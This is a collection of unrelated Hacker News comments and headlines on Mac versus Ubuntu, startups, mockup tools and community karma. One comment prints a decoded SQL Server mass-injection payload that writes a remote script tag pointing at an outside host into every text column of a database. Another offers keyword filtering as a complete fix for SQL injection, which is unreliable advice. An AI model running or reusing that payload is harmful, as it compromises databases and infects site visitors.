skysight-inc/HackerNews huggingface dataset:
As a Mac user, this article made me cringe.

> And that Safari can’t handle certain Web features, including plenty of videos.

That's not really true, unless he's talking about crappy IE-specific sites. Most videos will play with the appropriate codecs installed (Flip4Mac and Perian cover most)

> ...and some even still use the command line. (The command line? Oh, geez…)

This says much more about your level of experience than your platform of choice (though I imagine the average Linux user uses the command line much more than the average Windows or OS X user). To his credit, it seems he sees the light later in the article.

> First off, immediately, before anything: the rotating desktop. Damn, that is totally cool. You click an icon in the screen’s lower right, and the desktop rotates to a fresh view. Remarkably, you can have up to 16 different desktops.

OS X has that too! Up to 16 different desktops! (it's called "Spaces") Granted they copied it directly from Linux, but it's there, rotation and all (I think OS X may have actually had the rotation effect first, with Fast User Switching)
This article makes the fatal assumption that people's reading and internet usage habits don't mature along with the rest of their personalities. Sure teens might spend all day gossiping on MySpace, and college students trolling Facebook for hookups, but that's not that much different than what both groups have done offline since time immemorial. And just like previous generations they'll grow up, get jobs, have families, and change their habits.
Sure. I've taken his thesis and applied it, substituting "pastry chef" for "painter" into the text of each of the topic sentences in the lead graf of each section of your essay. The essay continues to work. Your critic's point seems valid.

You learn to bake mostly by doing it. Ditto for hacking.

Because pastry chefs leave a trail of work behind them, you can watch them learn by doing.

For a pastry chef, a cookbook is a reference library of techniques.

Another example we can take from pastry is the way that dishes are created by gradual refinement. New dishes usually begin with a sketch.

In hacking, like pastry, work comes in cycles. Sometimes you get excited about some new project and you want to work sixteen hours a day on it. Other times nothing seems interesting.

A lot of the great cooking of the past is the work of multiple hands, though there may only be one name on the wall of the restaurant.

Like pastry, most software is intended for a human audience.
Developers eager to build apps for iPhone
Venture capital industry under the gun
Except, Alphalab primarily appeals to the talent in Pittsburgh. Of all the companies selected for funding, ours (Sonyalabs) is the only one which was founded by non-residents.
Madhouse Ex-Founder Sameer Guglani To Start Y Combinator For India - Morpheus Venture
It's not spam (or at least I didn't intend for it to be spam). I just found it interesting that it's worth it for lawyers to pay so much for these search terms.

Perhaps I should have posted the article I found this through:

http://www.nytimes.com/2007/10/15/us/15bar.html
This is an obvious pitch for F5's (expensive) products.
What mechanisms are in place here to punish noise and reward signal?
Expert marketing is giving something useful while getting something useful. After all, HN is mainly a recruitment pipeline for YCombinator.
I reviewed the book and had a different take on it:
http://blogs.jobdig.com/wwds/2008/06/24/the-dumbest-generati...
Erlang Is Not the Solution
I'm running Leopard right now, and I have python, perl, curl, ssh, and tcpdump. I have no idea why wget is left out of the default install, but I just get it with macports, which is just a download and double click install away. Anyone who would be using these tools wouldn't have any problem setting it up. A few revisions of OS X ago things did seem relatively odd to the average Bash user. The shell was tcsh, and being based on BSD everything felt a bit off to someone switching from Linux, but these days it's pretty much all there. You should give it another look if you get a chance.
Why you’ll have a long wait for Microsoft’s next OS
You're asking someone who posts about increasing website traffic? ;)
This is very silly. 600 Starbucks is what, like 6% of their locations? The amount of restrooms closing is some trivial % of total available.

Also, most Starbucks aren't in areas where people jog. And they often require purchases by holding the keys behind the counter in cities. And Starbucks is closing so many locations because they built them too close together, meaning there's often another one in walking distance anyway.

"Will people be more reluctant to leave the house? Will they consume less fluid when outside, thus leading to more dehydration? These are important questions."

No they aren't. They're just the apparent ramblings of a blogger who wants to get a post out but has nothing good to write about.
I ended up declining. Thanks for your help guys!
The package manager is Linux's killer app, but new users coming from Windows or OS X don't expect it, don't understand it and don't use it. Blub phenomenon.

(If an open-source program isn't already installed. click the Applications menu, go to Add/Remove, and select the programs you want to install. Any dependencies are taken care of automatically, even for complicated packages like web servers. Click "Apply". You're done. If a free but closed-source program like Skype isn't shown, try adding the Medibuntu repository.)

Another interesting example of death-by-alternatives is the beleaguered Linspire's Click-N-Run initiative:

http://www.cnr.com/

Stillborn? Perhaps. But in theory, CNR should have been an easy way for new converts to download and install programs the way they're most comfortable, and still benefit from the OS's package manager.
What a bad idea. Would you want to run Symbian, WinCE, and Android simultaneously on one phone, no doubt with quite different UIs?
i don't think so...they already have advertisement of their job board all over their blog and company website..i liked the point that you can leverage your skills or creativity to add another revenue stream apart from your main-stream business..

E.g. the way buxfer guys created iPhone interface for YCNews and Reditt.. since they already knew how to develop iPhone interface it's just extending their skills to reach out to more users..
I think the topics seem a little too contrived.

For example - who is really going to go looking for training in the "Politics" category? There may be some things, but I don't know that many people would look for it there.

My suggestion: let topics be determined more organically, and use a tagging mechanism like the one on del.icio.us where you can combine tags to refine the particular topic you want. To go back to the "Politics" topic, I might rather see all topics tagged "politics+communications" to learn more about making political speeches, or "politics+county+texas" to learn about how county governments in Texas work. Or, if I just had a general interest in mathematics, I could just look at the list of courses tagged "math". Etc, etc, etc. I don't think this means you have to show a tag cloud on the front page, but you might show a simple list of the 10 most popular tags instead of imposing a topic list.

I realize this is a very common way to organize user-generated content, but I think it's very effective, and I think it's even now something that web-savvy users now come to expect (like me - I very quickly get frustrated with searching for untagged content).
...and if you did it yourself on a bit of paper you would probably end up having to scan it in.

I think the look is excellent. It makes explicit to the client or whoever that this is a mock-up and not to be confused with the look and feel of the app/site. You can say that until you are blue in the face and quite often someone will say 'isn't that line a bit thick'.

Moreover sometimes designers can get locked into overly prescriptive design rough too early. This avoids that.
I'm wondering, if you downvoted this, is it because you think the internet is more dangerous than people nearby? Is it because you think society isn't paranoid about about men talking to children? The idea of an internet terms of service was to parody the notion that the internet itself is somehow more evil than the people surrounding us every day, which I find is a surprisingly common belief. Please do debate/elaborate as I'd like to discuss your point of view.
something that doesn't let me innovate is useless.

this doesn't seem it's going to give you any more power than the traditional IDE so why bother use it?
Don't forget the lightweight xubuntu distribution, which uses the xfce window manager. It is nice and fast. It works nicely on older machines with less resources.
I don't believe core Mozilla/Firefox offers any user-configurable URL- or domain-based blocking. It has popup blocking, and it has 'safe browsing' which checks against a central blacklist, but nothing the user can adjust. That takes add-ons.
He seems like a real novice Mac user.

Ubuntu is nice, but both Ubuntu and GNU/Linux aren't without flaws that don't exist in the Mac/Windows world (that a novice might not notice).

Examples:

Software. I can grab off the internet or the shelf any piece of "Windows" software and put it on my computer. Likewise, I can do the same with the Mac. I can't say that about GNU/Linux. Why? Because each distribution (and new version of a specific distro) has different dependencies taken care of by a regular install. Distros get around this by providing repositories (and Ubuntu's is excellent), but it's still different than being able to just grab stuff. GNU/Linux is much more in a state of flux which means that it can progress very quickly, but also that software requires more tweaking for each distro.

Proprietary stuff. This has come a long way since I started using Linux in the RedHat 9 days. Ubuntu 8.04 allows for easy installation of proprietary codecs, but things like DeCSS (for DVD playback) is still a pain and flash (becoming more important in the YouTube generation) is absolute crap. Not the fault of GNU/Linux, but it does still lessen my enjoyment of it.

UI stuff. I like GNOME's HIG for the most part, but GTK+ is starting to look old. Look at Adium and Pidgin. Pidgin is a fine piece of software, but it just looks cludgy by comparison. Likewise, there are just somethings that no one seems to want to fix (the minimize animation is crap). More abstractly, none of the desktop environments seem to be hitting what I'll call the Firefox level. Specifically, that nice balance between simplicity and complexity that Firefox seems to hit. GNOME goes for simplicity to a fault while KDE will throw every useless thing into the mix and tell you that you should just be comfortable looking through a cludgy list of a million settings.

GRANTED, there are many thing that are simply superior about GNU/Linux. Examples include software updates that don't require restarts, some of the best multi-tasking I've seen (where Windows and Mac might make other processes hang a bit in responsiveness), and of course being free. It's truly amazing, but there are some annoyances.

If I were to lay out some milestone's in GNU/Linux's future, I'd have to argue that these would be important: like LSB (Linux Standards Base) becoming the norm (which I think will happen when developers start seeing the number of new things they can add decline and they focus on environment stability); getting consumers off proprietary codecs and environments (like flash or DVD - yes, this is out there); and a change in one of the two desktop environment's philosophies to be more Firefox-like in terms of verbosity and the like.
Difficulty Unit Testing often reveals deficiencies in design. Is your system divided into largely orthogonal parts?
It's silly to say tobacco is good because the farmers are good people who had parents who did the same thing.

That's good, because I didn't say that. I said that it's legal because tobacco farmers are a more established part of the economy; that it's legal for historical reasons.

Marijuana has a long history too. If it were legalized, the industry would be taxed just like tobacco.

If Marijuana were allowed to establish itself as an open industry, sure. But it hasn't, or rather, it hadn't at the time of the first drug laws against it. Which is the whole point. I don't know why you're having trouble with this.

Their crop kills thousands of people. Weed kills no one.

BS, smoking weed has the exact same effects on your health as smoking tobacco and plenty of people have died smoking weed.In terms of danger they are around the same. The difference in numbers has more to do with relative popularity and the openness people have with their habits.
All things reliably green, eco-friendly, leaders, etc
What are the best sources for reliable, best practices for 'green', earth friendly best practices for various businesses and/or consumers.

Issues and opportunities, how to successfully implement early stage green behaviors in a business
This is a complete aside, but as a drummer I have to disagree with you there.
Cool stuff!

It was near impossible to figure out how to GET it. Download it, buy it, etc.

You don't have to be cheesy about it, but every page should give the user an option to convert... i.e. ASK FOR THE SALE.
And you call yourself a geek? We all know that the answer is in fact 42!

:)

Note: Units are, of course, left as an exercise to the reader :)
Yaw, as a guy who has done a lot of UI consulting I can tell you this--

the more crude your mockup is, the more the viewer focuses on layout rather than design. Crudity like this will keep people from saying, "what if we had rounded corners there?"
I think it's just karma (and admin policing).
Mostly speculation, but they do make a good case. Current Google PageRank incarnations are most likely long past "random surfer" models. Google simply has too much data available to be able to resist using it to improve its performance (and bottom line).

The problem, of course, is that the only way a google-killer will ever arise will be with a completely different approach and not just a data-driven refinement on the current one.
Perhaps, start using plain text for links, instead of <a> tags.
"They're just the apparent ramblings of a blogger who wants to get a post out but has nothing good to write about."

I have a feeling this applies to the majority of blog posts.
This is a really sloppy summary. First, the given example is broken (the numbers in the nodes change from fig 1 to fig 2). Second, the delete operation is only like the insert operation if you look at it from a distance, squint, and tap your heels together three times. Implementing the delete is about an order of magnitude more difficult than the insert, IMO. An article on the details of that would be enlightening.

(Personal anecdote: in college, I spent a nightmarish two days implementing the delete operation on a B-tree, because I had put it off until the last minute, thinking that it was "just like the insert, but with contractions". I was wrong. I don't think I've spent that much consecutive time in one chair before or since....)
Please provide some of those reasons then. I'm curious. There's a lot of them and they're wealthier than most of us will ever be, but the worst generation?
Isn't this just the Mythical Man Month?

http://en.wikipedia.org/wiki/The_Mythical_Man-Month
@Peldi - v. reasonable reasons for not doing a hosted version. I feel like doing 3 versions at different price point and platforms is even more work then one hosted option, but thats just my opinion. I also believe this would be way easier for customers, especially non-designers that want to do mockups before going to a design shop. clear mockups done by the client are super helpful starting points in the design process and save clients money/reduce project time / and increase probability of client getting what they want the first time from designers. There are all perspectives from a potential user group, not the company of course, but I hope they are helpful to mention.
I like you...
Mark Shuttleworth on Ubuntu and the Linux Desktop
And yet this got five votes so far... That post was so dumb, I'm actually tempted to flag it.
This is a similar sketching application
Pencil Project - http://www.evolus.vn/Pencil/
(previously on HN - http://news.ycombinator.com/item?id=234676)
Thanks! We're definitely looking to completely revamp the public lesson browsing with a more complete experience for users. I agree that tagging like you describe is the best approach there.

For our "1.0" launch we're focusing more on the lesson delivery for companies and trainers, which we've been calling their "private learning network" and "lesson storefront" where they get companyname.dojolearning.com (or a few other domains we registered :) and send their learners there. You can see simian.dojolearning.com as an example, which is the learning site for my other software project.

For our "2.0" we're hoping to put more emphasis on the public side and also add some social elements so users can find lessons through each other and get recommendations in the system too. But for now we chose to really hone the lesson builder and lesson delivery and just get it out there for companies to use.

So right now it's more of a Basecamp style (private focus), and the 2.0 would be more of a YouTube (public focus) in that sense :)
Inside Microsoft’s Internet Infrastructure & Its Plans For The Future
It's an interesting idea. I don't remember ever thinking about previewing my text under a different style so I don't know if it would help me, but I would be willing to try it.
Hash tables can be used on disk as well.
Now imagine after you mockup an interface you could plug it into code and it actually works.

That's Apple's Interface Builder: http://en.wikipedia.org/wiki/Interface_Builder
Yes, the headline is outright false. I think that deserves a flag, since it's something the admins can fix.
I have updated a couple of pages with more direct links to buy the product. Hopefully it will help some.
- all web input needs to run thru the same filter
- that filter disallows SQL keywords
- you're done

If this guy wasn't on a shared host, he could just install mod_security and its default config should take care of it. Presuming Apache of course.
Seems like a bad deal for him if the results of his 50% time is owned by mr gloslick.

If you spend time to contribute to the Rails community, you can easily find consulting jobs and get to keep 100% of your work (without the middleman). I'm not sure I understand the story here.
They use all the data they get from every source they can get and they link it all together any way they can. I have no inside knowledge, but that seems pretty clear cut. What's to speculate?
well.. i think the guy barely knows what is apache in the first place..
It just goes on to show how important it is to get a basic grasp of the technicality involved in your app even if you are the non-technical founder/member/whatever.

Just like yesterday there was an entry about some guy's co-founder bailing out and he's left with no skills and no money.... sorry state to be in.

--
PS: I like your blog dude- been a long time reader.
Congratulations on having the same great idea...
Thanks! I was going to go into normal distributions, communities of interest, etc, but I just used some sensational language that got the point across. For anyone offended by the original, biohacker gave the explanation I was too lazy to write.
Hmm. I suppose you consider tapping on a desk, or rolling on bongos the equivalent of a sketch?
But karma is very linear, and it's a point system so it encourages gaming. What we want is a system where the genuine participant can contribute with value and not be drown out. Hacker News is small enough that i can contribute and by merits of my post alone, maybe hit the front page. That doesn't happen on reddit, digg, or yahoo buzz.
Need Press? Repeat: Green, Sex, Cancer, Secret, Fat
Decoded:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.suppadw.com/b.js></script>''');''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Berners-Lee named to MIT faculty, to develop "Web Science" curriculum
Paul, this is pretty common legal language. I've seen a number of deals like this. As others have said, though, don't do it. You can probably come up with something much better.
Scaling on EC2 - WebMynd's experiences (YC Winter '08)
> I can read my own post 100 times and I'll be damned if I'll spot the "teh" that should have been a "the".

Firefox does come with a spell check plugin...
This could be implemented a bookmarklet.
Web Sites that may define the next internet decade
This post is dedicated to websites and web 2.0 companies that are growing and are likely to have a defining effect in the coming years.
"edit: he doesn't seem to know that macs have a command line"

Yes, I found that bizarre. That, and the part where he writes that Ubuntu "does everything that Windows does".
It's true that I am trying to do a lot by porting Mockups to multiple Web Office platforms, but the revenue potential is very clear if I market my products that way (a lot more clear than doing a hosted solution, at least in my mind). And as a one-person, bootstrapped company, I have to go where I see revenue first.

As for your use-case, I think it's a definitely important one, and that's why I offer Export to PNG and export to XML even in the free web version. I believe a non-technical client could take a stab at creating a Mockup, export it and send it to the designer/developer without too much effort. Sure having a twitpic or skitch-like page for commenting would be nice...I just don't have the bandwidth for it...yet. :)
i tried ubuntu over the weekend (this time for real, not on a VM). I was severely shocked to see that in order to have multiple monitor support, I would have to start editing config files. I'm a tad bit linux savvy (i know what cd is, in other words) but this was just too much hassle. I stuck with vista... :(
The JVM should be acceptable for client apps, but its implementation footprint is bulky in most respects(download, memory consumption and startup times) and it has never attained the kind of first-class browser integration and bundling that Flash has.

OTOH Flash performance is quite good now, and I wouldn't dismiss it out of hand. The bottleneck for most apps is in software rendering, not code performance.
Anyone want to visit my site:

treatmentformesotheliomafromcaraccidentlawyersinmichiganwhogivefreecarinsurancequotes.ru?

(Note: not a real website)
Ah but it's not just spelling errors, there's missing s-es on plurals and all kinds of other stuff that's technically spelled correctly.
There are some (very expensive) tools out there that try to output code from your design, but they are incredibly complex to use. I export Mockups as XML, which, with some fancy XSL, could be turned in to MXML or XAML...which would at least define the structure of the application. Still, that's not the most time-consuming part of a development effort, but it would sure make for a good demo! :)
Hmm, I hadn't thought of that, it does sound like a great idea however. I think I'm off to look into bookmarklets.
A Prosthesis for Speech
Internet Gentrification
What's to speculate? Plenty.

Are they still using PageRank or something completely different?

If they modified it, how did they do it?

Do they really use all available data? Or does the "don't be evil" mantra prevents them from using specific datasets?

What is their current "surfer model"? How random is it?

Until we have answers to these and other questions, I would say there is plenty left to speculate about.